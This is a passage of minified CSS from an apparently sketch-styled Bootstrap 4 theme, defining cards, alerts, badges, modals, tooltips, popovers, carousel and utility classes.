.list-group-item:first-child{border-top-left-radius:255px 25px 225px 25px/25px 225px 25px 255px;border-top-right-radius:255px 25px 225px 25px/25px 225px 25px 255px}.card>.list-group:last-child .list-group-item:last-child{border-bottom-right-radius:255px 25px 225px 25px/25px 225px 25px 255px;border-bottom-left-radius:255px 25px 225px 25px/25px 225px 25px 255px}.card-body{-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;padding:1.25rem}.card-title{margin-bottom:0.75rem}.card-subtitle{margin-top:-0.375rem;margin-bottom:0}.card-text:last-child{margin-bottom:0}.card-link:hover{text-decoration:none}.card-link+.card-link{margin-left:1.25rem}.card-header{padding:0.75rem 1.25rem;margin-bottom:0;background-color:rgba(0,0,0,0.03);border-bottom:2px solid #333}.card-header:first-child{border-radius:calc(255px 25px 225px 25px/25px 225px 25px 255px - 2px) calc(255px 25px 225px 25px/25px 225px 25px 255px - 2px) 0 0}.card-header+.list-group .list-group-item:first-child{border-top:0}.card-footer{padding:0.75rem 1.25rem;background-color:rgba(0,0,0,0.03);border-top:2px solid #333}.card-footer:last-child{border-radius:0 0 calc(255px 25px 225px 25px/25px 225px 25px 255px - 2px) calc(255px 25px 225px 25px/25px 225px 25px 255px - 2px)}.card-header-tabs{margin-right:-0.625rem;margin-bottom:-0.75rem;margin-left:-0.625rem;border-bottom:0}.card-header-pills{margin-right:-0.625rem;margin-left:-0.625rem}.card-img-overlay{position:absolute;top:0;right:0;bottom:0;left:0;padding:1.25rem}.card-img{width:100%;border-radius:calc(255px 25px 225px 25px/25px 225px 25px 255px - 2px)}.card-img-top{width:100%;border-top-left-radius:calc(255px 25px 225px 25px/25px 225px 25px 255px - 2px);border-top-right-radius:calc(255px 25px 225px 25px/25px 225px 25px 255px - 2px)}.card-img-bottom{width:100%;border-bottom-right-radius:calc(255px 25px 225px 25px/25px 225px 25px 255px - 2px);border-bottom-left-radius:calc(255px 25px 225px 25px/25px 225px 25px 255px - 2px)}.card-deck{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.card-deck .card{margin-bottom:15px}@media (min-width: 576px){.card-deck{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row wrap;flex-flow:row wrap;margin-right:-15px;margin-left:-15px}.card-deck .card{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-flex:1;-ms-flex:1 0 0%;flex:1 0 0%;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;margin-right:15px;margin-bottom:0;margin-left:15px}}.card-group{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.card-group>.card{margin-bottom:15px}@media (min-width: 576px){.card-group{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row wrap;flex-flow:row wrap}.card-group>.card{-webkit-box-flex:1;-ms-flex:1 0 0%;flex:1 0 0%;margin-bottom:0}.card-group>.card+.card{margin-left:0;border-left:0}.card-group>.card:first-child{border-top-right-radius:0;border-bottom-right-radius:0}.card-group>.card:first-child .card-img-top,.card-group>.card:first-child .card-header{border-top-right-radius:0}.card-group>.card:first-child .card-img-bottom,.card-group>.card:first-child .card-footer{border-bottom-right-radius:0}.card-group>.card:last-child{border-top-left-radius:0;border-bottom-left-radius:0}.card-group>.card:last-child .card-img-top,.card-group>.card:last-child .card-header{border-top-left-radius:0}.card-group>.card:last-child .card-img-bottom,.card-group>.card:last-child .card-footer{border-bottom-left-radius:0}.card-group>.card:only-child{border-radius:255px 25px 225px 25px/25px 225px 25px 255px}.card-group>.card:only-child .card-img-top,.card-group>.card:only-child .card-header{border-top-left-radius:255px 25px 225px 25px/25px 225px 25px 255px;border-top-right-radius:255px 25px 225px 25px/25px 225px 25px 255px}.card-group>.card:only-child .card-img-bottom,.card-group>.card:only-child .card-footer{border-bottom-right-radius:255px 25px 225px 25px/25px 225px 25px 255px;border-bottom-left-radius:255px 25px 225px 25px/25px 225px 25px 255px}.card-group>.card:not(:first-child):not(:last-child):not(:only-child){border-radius:0}.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-img-top,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-img-bottom,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-header,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-footer{border-radius:0}}.card-columns .card{margin-bottom:0.75rem}@media (min-width: 576px){.card-columns{-webkit-column-count:3;column-count:3;-webkit-column-gap:1.25rem;column-gap:1.25rem}.card-columns .card{display:inline-block;width:100%}}.breadcrumb{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;padding:0.75rem 1rem;margin-bottom:1rem;list-style:none;background-color:#fff;border-radius:255px 25px 225px 25px/25px 225px 25px 255px}.breadcrumb-item+.breadcrumb-item::before{display:inline-block;padding-right:0.5rem;padding-left:0.5rem;color:#333;content:"/"}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:underline}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:none}.breadcrumb-item.active{color:#333}.pagination{display:-webkit-box;display:-ms-flexbox;display:flex;padding-left:0;list-style:none;border-radius:255px 25px 225px 25px/25px 225px 25px 255px}.page-link{position:relative;display:block;padding:0.5rem 0.75rem;margin-left:-2px;line-height:1.25;color:#333;background-color:#fff;border:2px solid #333}.page-link:hover{color:#fff;text-decoration:none;background-color:#333;border-color:#333}.page-link:focus{z-index:2;outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(51,51,51,0.25);box-shadow:0 0 0 0.2rem rgba(51,51,51,0.25)}.page-link:not(:disabled):not(.disabled){cursor:pointer}.page-item:first-child .page-link{margin-left:0;border-top-left-radius:255px 25px 225px 25px/25px 225px 25px 255px;border-bottom-left-radius:255px 25px 225px 25px/25px 225px 25px 255px}.page-item:last-child .page-link{border-top-right-radius:255px 25px 225px 25px/25px 225px 25px 255px;border-bottom-right-radius:255px 25px 225px 25px/25px 225px 25px 255px}.page-item.active .page-link{z-index:1;color:#fff;background-color:#333;border-color:#333}.page-item.disabled .page-link{color:#ccc;pointer-events:none;cursor:auto;background-color:#fff;border-color:#333}.pagination-lg .page-link{padding:0.75rem 1.5rem;font-size:1.25rem;line-height:1.5}.pagination-lg .page-item:first-child .page-link{border-top-left-radius:555px 25px 15px 25px/25px 5px 35px 555px;border-bottom-left-radius:555px 25px 15px 25px/25px 5px 35px 555px}.pagination-lg .page-item:last-child .page-link{border-top-right-radius:555px 25px 15px 25px/25px 5px 35px 555px;border-bottom-right-radius:555px 25px 15px 25px/25px 5px 35px 555px}.pagination-sm .page-link{padding:0.25rem 0.5rem;font-size:0.875rem;line-height:1.5}.pagination-sm .page-item:first-child .page-link{border-top-left-radius:255px 25px 225px 25px/25px 225px 25px 255px;border-bottom-left-radius:255px 25px 225px 25px/25px 225px 25px 255px}.pagination-sm .page-item:last-child .page-link{border-top-right-radius:255px 25px 225px 25px/25px 225px 25px 255px;border-bottom-right-radius:255px 25px 225px 25px/25px 225px 25px 255px}.badge{display:inline-block;padding:0.5em 1.2em;font-size:75%;font-weight:700;line-height:1;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:255px 25px 225px 25px/25px 225px 25px 255px}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.badge-pill{padding-right:0.6em;padding-left:0.6em;border-radius:10rem}.badge-primary{color:#fff;background-color:#333}.badge-primary[href]:hover,.badge-primary[href]:focus{color:#fff;text-decoration:none;background-color:#1a1919}.badge-secondary{color:#fff;background-color:#555}.badge-secondary[href]:hover,.badge-secondary[href]:focus{color:#fff;text-decoration:none;background-color:#3c3b3b}.badge-success{color:#fff;background-color:#28a745}.badge-success[href]:hover,.badge-success[href]:focus{color:#fff;text-decoration:none;background-color:#1e7e34}.badge-info{color:#fff;background-color:#17a2b8}.badge-info[href]:hover,.badge-info[href]:focus{color:#fff;text-decoration:none;background-color:#117a8b}.badge-warning{color:#212529;background-color:#ffc107}.badge-warning[href]:hover,.badge-warning[href]:focus{color:#212529;text-decoration:none;background-color:#d39e00}.badge-danger{color:#fff;background-color:#dc3545}.badge-danger[href]:hover,.badge-danger[href]:focus{color:#fff;text-decoration:none;background-color:#bd2130}.badge-light{color:#212529;background-color:#fff}.badge-light[href]:hover,.badge-light[href]:focus{color:#212529;text-decoration:none;background-color:#e6e5e5}.badge-dark{color:#fff;background-color:#555}.badge-dark[href]:hover,.badge-dark[href]:focus{color:#fff;text-decoration:none;background-color:#3c3b3b}.jumbotron{padding:2rem 1rem;margin-bottom:2rem;background-color:transparent;border-radius:555px 25px 15px 25px/25px 5px 35px 555px}@media (min-width: 576px){.jumbotron{padding:4rem 2rem}}.jumbotron-fluid{padding-right:0;padding-left:0;border-radius:0}.alert{position:relative;padding:0.75rem 1.25rem;margin-bottom:1rem;border:2px solid transparent;border-radius:255px 25px 225px 25px/25px 225px 25px 255px}.alert-heading{color:inherit}.alert-link{font-weight:700}.alert-dismissible{padding-right:4rem}.alert-dismissible .close{position:absolute;top:0;right:0;padding:0.75rem 1.25rem;color:inherit}.alert-primary{color:#1b1b1b;background-color:#d6d6d6;border-color:#c6c6c6}.alert-primary hr{border-top-color:#b9b9b9}.alert-primary .alert-link{color:#020101}.alert-secondary{color:#2c2c2c;background-color:#dddddd;border-color:#cfcfcf}.alert-secondary hr{border-top-color:#c2c2c2}.alert-secondary .alert-link{color:#131212}.alert-success{color:#155724;background-color:#d4edda;border-color:#c3e6cb}.alert-success hr{border-top-color:#b1dfbb}.alert-success .alert-link{color:#0b2e13}.alert-info{color:#0c5460;background-color:#d1ecf1;border-color:#bee5eb}.alert-info hr{border-top-color:#abdde5}.alert-info .alert-link{color:#062c33}.alert-warning{color:#856404;background-color:#fff3cd;border-color:#ffeeba}.alert-warning hr{border-top-color:#ffe8a1}.alert-warning .alert-link{color:#533f03}.alert-danger{color:#721c24;background-color:#f8d7da;border-color:#f5c6cb}.alert-danger hr{border-top-color:#f1b0b7}.alert-danger .alert-link{color:#491217}.alert-light{color:#858585;background-color:white;border-color:white}.alert-light hr{border-top-color:#f2f2f2}.alert-light .alert-link{color:#6c6b6b}.alert-dark{color:#2c2c2c;background-color:#dddddd;border-color:#cfcfcf}.alert-dark hr{border-top-color:#c2c2c2}.alert-dark .alert-link{color:#131212}@-webkit-keyframes progress-bar-stripes{from{background-position:1rem 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:1rem 0}to{background-position:0 0}}.progress{display:-webkit-box;display:-ms-flexbox;display:flex;height:1rem;overflow:hidden;font-size:0.75rem;background-color:#fff;border-radius:255px 25px 225px 25px/25px 225px 25px 255px}.progress-bar{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;color:#fff;text-align:center;background-color:#ccc;-webkit-transition:width 0.6s ease;transition:width 0.6s ease}.progress-bar-striped{background-image:linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-size:1rem 1rem}.progress-bar-animated{-webkit-animation:progress-bar-stripes 1s linear infinite;animation:progress-bar-stripes 1s linear infinite}.media{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start}.media-body{-webkit-box-flex:1;-ms-flex:1;flex:1}.list-group{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;padding-left:0;margin-bottom:0}.list-group-item-action{width:100%;color:#333;text-align:inherit}.list-group-item-action:hover,.list-group-item-action:focus{color:#333;text-decoration:none;background-color:#dee2e6}.list-group-item-action:active{color:#212529;background-color:#f7f7f9}.list-group-item{position:relative;display:block;padding:0.75rem 1.25rem;margin-bottom:-2px;background-color:#fff;border:2px solid #333}.list-group-item:first-child{border-top-left-radius:255px 25px 225px 25px/25px 225px 25px 255px;border-top-right-radius:255px 25px 225px 25px/25px 225px 25px 255px}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:255px 25px 225px 25px/25px 225px 25px 255px;border-bottom-left-radius:255px 25px 225px 25px/25px 225px 25px 255px}.list-group-item:hover,.list-group-item:focus{z-index:1;text-decoration:none}.list-group-item.disabled,.list-group-item:disabled{color:#868e96;background-color:#fff}.list-group-item.active{z-index:2;color:#fff;background-color:#333;border-color:#333}.list-group-flush .list-group-item{border-right:0;border-left:0;border-radius:0}.list-group-flush:first-child .list-group-item:first-child{border-top:0}.list-group-flush:last-child .list-group-item:last-child{border-bottom:0}.list-group-item-primary{color:#1b1b1b;background-color:#c6c6c6}.list-group-item-primary.list-group-item-action:hover,.list-group-item-primary.list-group-item-action:focus{color:#1b1b1b;background-color:#b9b9b9}.list-group-item-primary.list-group-item-action.active{color:#fff;background-color:#1b1b1b;border-color:#1b1b1b}.list-group-item-secondary{color:#2c2c2c;background-color:#cfcfcf}.list-group-item-secondary.list-group-item-action:hover,.list-group-item-secondary.list-group-item-action:focus{color:#2c2c2c;background-color:#c2c2c2}.list-group-item-secondary.list-group-item-action.active{color:#fff;background-color:#2c2c2c;border-color:#2c2c2c}.list-group-item-success{color:#155724;background-color:#c3e6cb}.list-group-item-success.list-group-item-action:hover,.list-group-item-success.list-group-item-action:focus{color:#155724;background-color:#b1dfbb}.list-group-item-success.list-group-item-action.active{color:#fff;background-color:#155724;border-color:#155724}.list-group-item-info{color:#0c5460;background-color:#bee5eb}.list-group-item-info.list-group-item-action:hover,.list-group-item-info.list-group-item-action:focus{color:#0c5460;background-color:#abdde5}.list-group-item-info.list-group-item-action.active{color:#fff;background-color:#0c5460;border-color:#0c5460}.list-group-item-warning{color:#856404;background-color:#ffeeba}.list-group-item-warning.list-group-item-action:hover,.list-group-item-warning.list-group-item-action:focus{color:#856404;background-color:#ffe8a1}.list-group-item-warning.list-group-item-action.active{color:#fff;background-color:#856404;border-color:#856404}.list-group-item-danger{color:#721c24;background-color:#f5c6cb}.list-group-item-danger.list-group-item-action:hover,.list-group-item-danger.list-group-item-action:focus{color:#721c24;background-color:#f1b0b7}.list-group-item-danger.list-group-item-action.active{color:#fff;background-color:#721c24;border-color:#721c24}.list-group-item-light{color:#858585;background-color:white}.list-group-item-light.list-group-item-action:hover,.list-group-item-light.list-group-item-action:focus{color:#858585;background-color:#f2f2f2}.list-group-item-light.list-group-item-action.active{color:#fff;background-color:#858585;border-color:#858585}.list-group-item-dark{color:#2c2c2c;background-color:#cfcfcf}.list-group-item-dark.list-group-item-action:hover,.list-group-item-dark.list-group-item-action:focus{color:#2c2c2c;background-color:#c2c2c2}.list-group-item-dark.list-group-item-action.active{color:#fff;background-color:#2c2c2c;border-color:#2c2c2c}.close{float:right;font-size:1.5rem;font-weight:700;line-height:1;color:#fff;text-shadow:none;opacity:.5}.close:hover,.close:focus{color:#fff;text-decoration:none;opacity:.75}.close:not(:disabled):not(.disabled){cursor:pointer}button.close{padding:0;background-color:transparent;border:0;-webkit-appearance:none}.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1050;display:none;overflow:hidden;outline:0}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal-dialog{position:relative;width:auto;margin:0.5rem;pointer-events:none}.modal.fade .modal-dialog{-webkit-transition:-webkit-transform 0.3s ease-out;transition:-webkit-transform 0.3s ease-out;transition:transform 0.3s ease-out;transition:transform 0.3s ease-out, -webkit-transform 0.3s ease-out;-webkit-transform:translate(0, -25%);transform:translate(0, -25%)}.modal.show .modal-dialog{-webkit-transform:translate(0, 0);transform:translate(0, 0)}.modal-dialog-centered{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;min-height:calc(100% - (0.5rem * 2))}.modal-content{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;width:100%;pointer-events:auto;background-color:#fff;background-clip:padding-box;border:2px solid #333;border-radius:555px 25px 15px 25px/25px 5px 35px 555px;outline:0}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000}.modal-backdrop.fade{opacity:0}.modal-backdrop.show{opacity:0.5}.modal-header{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;padding:1rem;border-bottom:2px solid #333;border-top-left-radius:555px 25px 15px 25px/25px 5px 35px 555px;border-top-right-radius:555px 25px 15px 25px/25px 5px 35px 555px}.modal-header .close{padding:1rem;margin:-1rem -1rem -1rem auto}.modal-title{margin-bottom:0;line-height:1.5}.modal-body{position:relative;-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;padding:1rem}.modal-footer{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:end;-ms-flex-pack:end;justify-content:flex-end;padding:1rem;border-top:2px solid #333}.modal-footer>:not(:first-child){margin-left:.25rem}.modal-footer>:not(:last-child){margin-right:.25rem}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width: 576px){.modal-dialog{max-width:500px;margin:1.75rem auto}.modal-dialog-centered{min-height:calc(100% - (1.75rem * 2))}.modal-sm{max-width:300px}}@media (min-width: 992px){.modal-lg{max-width:800px}}.tooltip{position:absolute;z-index:1070;display:block;margin:0;font-family:"Neucha", -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:0.875rem;word-wrap:break-word;opacity:0}.tooltip.show{opacity:0.9}.tooltip .arrow{position:absolute;display:block;width:0.8rem;height:0.4rem}.tooltip .arrow::before{position:absolute;content:"";border-color:transparent;border-style:solid}.bs-tooltip-top,.bs-tooltip-auto[x-placement^="top"]{padding:0.4rem 0}.bs-tooltip-top .arrow,.bs-tooltip-auto[x-placement^="top"] .arrow{bottom:0}.bs-tooltip-top .arrow::before,.bs-tooltip-auto[x-placement^="top"] .arrow::before{top:0;border-width:0.4rem 0.4rem 0;border-top-color:#000}.bs-tooltip-right,.bs-tooltip-auto[x-placement^="right"]{padding:0 0.4rem}.bs-tooltip-right .arrow,.bs-tooltip-auto[x-placement^="right"] .arrow{left:0;width:0.4rem;height:0.8rem}.bs-tooltip-right .arrow::before,.bs-tooltip-auto[x-placement^="right"] .arrow::before{right:0;border-width:0.4rem 0.4rem 0.4rem 0;border-right-color:#000}.bs-tooltip-bottom,.bs-tooltip-auto[x-placement^="bottom"]{padding:0.4rem 0}.bs-tooltip-bottom .arrow,.bs-tooltip-auto[x-placement^="bottom"] .arrow{top:0}.bs-tooltip-bottom .arrow::before,.bs-tooltip-auto[x-placement^="bottom"] .arrow::before{bottom:0;border-width:0 0.4rem 0.4rem;border-bottom-color:#000}.bs-tooltip-left,.bs-tooltip-auto[x-placement^="left"]{padding:0 0.4rem}.bs-tooltip-left .arrow,.bs-tooltip-auto[x-placement^="left"] .arrow{right:0;width:0.4rem;height:0.8rem}.bs-tooltip-left .arrow::before,.bs-tooltip-auto[x-placement^="left"] .arrow::before{left:0;border-width:0.4rem 0 0.4rem 0.4rem;border-left-color:#000}.tooltip-inner{max-width:200px;padding:0.25rem 0.5rem;color:#fff;text-align:center;background-color:#000;border-radius:255px 25px 225px 25px/25px 225px 25px 255px}.popover{position:absolute;top:0;left:0;z-index:1060;display:block;max-width:276px;font-family:"Neucha", -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:0.875rem;word-wrap:break-word;background-color:#fff;background-clip:padding-box;border:2px solid #333;border-radius:555px 25px 15px 25px/25px 5px 35px 555px}.popover .arrow{position:absolute;display:block;width:1rem;height:0.5rem;margin:0 555px 25px 15px 25px/25px 5px 35px 555px}.popover .arrow::before,.popover .arrow::after{position:absolute;display:block;content:"";border-color:transparent;border-style:solid}.bs-popover-top,.bs-popover-auto[x-placement^="top"]{margin-bottom:0.5rem}.bs-popover-top .arrow,.bs-popover-auto[x-placement^="top"] .arrow{bottom:calc((0.5rem + 2px) * -1)}.bs-popover-top .arrow::before,.bs-popover-auto[x-placement^="top"] .arrow::before,.bs-popover-top .arrow::after,.bs-popover-auto[x-placement^="top"] .arrow::after{border-width:0.5rem 0.5rem 0}.bs-popover-top .arrow::before,.bs-popover-auto[x-placement^="top"] .arrow::before{bottom:0;border-top-color:#333333}.bs-popover-top .arrow::after,.bs-popover-auto[x-placement^="top"] .arrow::after{bottom:2px;border-top-color:#fff}.bs-popover-right,.bs-popover-auto[x-placement^="right"]{margin-left:0.5rem}.bs-popover-right .arrow,.bs-popover-auto[x-placement^="right"] .arrow{left:calc((0.5rem + 2px) * -1);width:0.5rem;height:1rem;margin:555px 25px 15px 25px/25px 5px 35px 555px 0}.bs-popover-right .arrow::before,.bs-popover-auto[x-placement^="right"] .arrow::before,.bs-popover-right .arrow::after,.bs-popover-auto[x-placement^="right"] .arrow::after{border-width:0.5rem 0.5rem 0.5rem 0}.bs-popover-right .arrow::before,.bs-popover-auto[x-placement^="right"] .arrow::before{left:0;border-right-color:#333333}.bs-popover-right .arrow::after,.bs-popover-auto[x-placement^="right"] .arrow::after{left:2px;border-right-color:#fff}.bs-popover-bottom,.bs-popover-auto[x-placement^="bottom"]{margin-top:0.5rem}.bs-popover-bottom .arrow,.bs-popover-auto[x-placement^="bottom"] .arrow{top:calc((0.5rem + 2px) * -1)}.bs-popover-bottom .arrow::before,.bs-popover-auto[x-placement^="bottom"] .arrow::before,.bs-popover-bottom .arrow::after,.bs-popover-auto[x-placement^="bottom"] .arrow::after{border-width:0 0.5rem 0.5rem 0.5rem}.bs-popover-bottom .arrow::before,.bs-popover-auto[x-placement^="bottom"] .arrow::before{top:0;border-bottom-color:#333333}.bs-popover-bottom .arrow::after,.bs-popover-auto[x-placement^="bottom"] .arrow::after{top:2px;border-bottom-color:#fff}.bs-popover-bottom .popover-header::before,.bs-popover-auto[x-placement^="bottom"] .popover-header::before{position:absolute;top:0;left:50%;display:block;width:1rem;margin-left:-0.5rem;content:"";border-bottom:2px solid #f7f7f7}.bs-popover-left,.bs-popover-auto[x-placement^="left"]{margin-right:0.5rem}.bs-popover-left .arrow,.bs-popover-auto[x-placement^="left"] .arrow{right:calc((0.5rem + 2px) * -1);width:0.5rem;height:1rem;margin:555px 25px 15px 25px/25px 5px 35px 555px 0}.bs-popover-left .arrow::before,.bs-popover-auto[x-placement^="left"] .arrow::before,.bs-popover-left .arrow::after,.bs-popover-auto[x-placement^="left"] .arrow::after{border-width:0.5rem 0 0.5rem 0.5rem}.bs-popover-left .arrow::before,.bs-popover-auto[x-placement^="left"] .arrow::before{right:0;border-left-color:#333333}.bs-popover-left .arrow::after,.bs-popover-auto[x-placement^="left"] .arrow::after{right:2px;border-left-color:#fff}.popover-header{padding:0.5rem 0.75rem;margin-bottom:0;font-size:1rem;color:inherit;background-color:#f7f7f7;border-bottom:2px solid #ebebeb;border-top-left-radius:calc(555px 25px 15px 25px/25px 5px 35px 555px - 2px);border-top-right-radius:calc(555px 25px 15px 25px/25px 5px 35px 555px - 2px)}.popover-header:empty{display:none}.popover-body{padding:0.5rem 0.75rem;color:#212529}.carousel{position:relative}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-item{position:relative;display:none;-webkit-box-align:center;-ms-flex-align:center;align-items:center;width:100%;-webkit-transition:-webkit-transform 0.6s ease;transition:-webkit-transform 0.6s ease;transition:transform 0.6s ease;transition:transform 0.6s ease, -webkit-transform 0.6s ease;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-perspective:1000px;perspective:1000px}.carousel-item.active,.carousel-item-next,.carousel-item-prev{display:block}.carousel-item-next,.carousel-item-prev{position:absolute;top:0}.carousel-item-next.carousel-item-left,.carousel-item-prev.carousel-item-right{-webkit-transform:translateX(0);transform:translateX(0)}@supports (-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d){.carousel-item-next.carousel-item-left,.carousel-item-prev.carousel-item-right{-webkit-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0)}}.carousel-item-next,.active.carousel-item-right{-webkit-transform:translateX(100%);transform:translateX(100%)}@supports (-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d){.carousel-item-next,.active.carousel-item-right{-webkit-transform:translate3d(100%, 0, 0);transform:translate3d(100%, 0, 0)}}.carousel-item-prev,.active.carousel-item-left{-webkit-transform:translateX(-100%);transform:translateX(-100%)}@supports (-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d){.carousel-item-prev,.active.carousel-item-left{-webkit-transform:translate3d(-100%, 0, 0);transform:translate3d(-100%, 0, 0)}}.carousel-control-prev,.carousel-control-next{position:absolute;top:0;bottom:0;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;width:15%;color:#fff;text-align:center;opacity:0.5}.carousel-control-prev:hover,.carousel-control-prev:focus,.carousel-control-next:hover,.carousel-control-next:focus{color:#fff;text-decoration:none;outline:0;opacity:.9}.carousel-control-prev{left:0}.carousel-control-next{right:0}.carousel-control-prev-icon,.carousel-control-next-icon{display:inline-block;width:20px;height:20px;background:transparent no-repeat center center;background-size:100% 100%}.carousel-control-prev-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E")}.carousel-control-next-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E")}.carousel-indicators{position:absolute;right:0;bottom:10px;left:0;z-index:15;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;padding-left:0;margin-right:15%;margin-left:15%;list-style:none}.carousel-indicators li{position:relative;-webkit-box-flex:0;-ms-flex:0 1 auto;flex:0 1 auto;width:30px;height:3px;margin-right:3px;margin-left:3px;text-indent:-999px;background-color:rgba(255,255,255,0.5)}.carousel-indicators li::before{position:absolute;top:-10px;left:0;display:inline-block;width:100%;height:10px;content:""}.carousel-indicators li::after{position:absolute;bottom:-10px;left:0;display:inline-block;width:100%;height:10px;content:""}.carousel-indicators .active{background-color:#fff}.carousel-caption{position:absolute;right:15%;bottom:20px;left:15%;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center}.align-baseline{vertical-align:baseline !important}.align-top{vertical-align:top !important}.align-middle{vertical-align:middle !important}.align-bottom{vertical-align:bottom !important}.align-text-bottom{vertical-align:text-bottom !important}.align-text-top{vertical-align:text-top !important}.bg-primary{background-color:#333 !important}a.bg-primary:hover,a.bg-primary:focus,button.bg-primary:hover,button.bg-primary:focus{background-color:#1a1919 !important}.bg-secondary{background-color:#555 !important}a.bg-secondary:hover,a.bg-secondary:focus,button.bg-secondary:hover,button.bg-secondary:focus{background-color:#3c3b3b !important}.bg-success{background-color:#28a745 !important}a.bg-success:hover,a.bg-success:focus,button.bg-success:hover,button.bg-success:focus{background-color:#1e7e34 !important}.bg-info{background-color:#17a2b8 !important}a.bg-info:hover,a.bg-info:focus,button.bg-info:hover,button.bg-info:focus{background-color:#117a8b !important}.bg-warning{background-color:#ffc107 !important}a.bg-warning:hover,a.bg-warning:focus,button.bg-warning:hover,button.bg-warning:focus{background-color:#d39e00 !important}.bg-danger{background-color:#dc3545 !important}a.bg-danger:hover,a.bg-danger:focus,button.bg-danger:hover,button.bg-danger:focus{background-color:#bd2130 !important}.bg-light{background-color:#fff !important}a.bg-light:hover,a.bg-light:focus,button.bg-light:hover,button.bg-light:focus{background-color:#e6e5e5 !important}.bg-dark{background-color:#555 !important}a.bg-dark:hover,a.bg-dark:focus,button.bg-dark:hover,button.bg-dark:focus{background-color:#3c3b3b !important}.bg-white{background-color:#fff !important}.bg-transparent{background-color:transparent !important}.border{border:2px solid #dee2e6 !important}.border-top{border-top:2px solid #dee2e6 !important}.border-right{border-right:2px solid #dee2e6 !important}.border-bottom{border-bottom:2px solid #dee2e6 !important}.border-left{border-left:2px solid #dee2e6 !important}.border-0{border:0 !important}.border-top-0{border-top:0 !important}.border-right-0{border-right:0 !important}.border-bottom-0{border-bottom:0 !important}.border-left-0{border-left:0 !important}.border-primary{border-color:#333 !important}.border-secondary{border-color:#555 !important}.border-success{border-color:#28a745 !important}.border-info{border-color:#17a2b8 !important}.border-warning{border-color:#ffc107 !important}.border-danger{border-color:#dc3545 !important}.border-light{border-color:#fff !important}.border-dark{border-color:#555 !important}.border-white{border-color:#fff !important}.rounded{border-radius:255px 25px 225px 25px/25px 225px 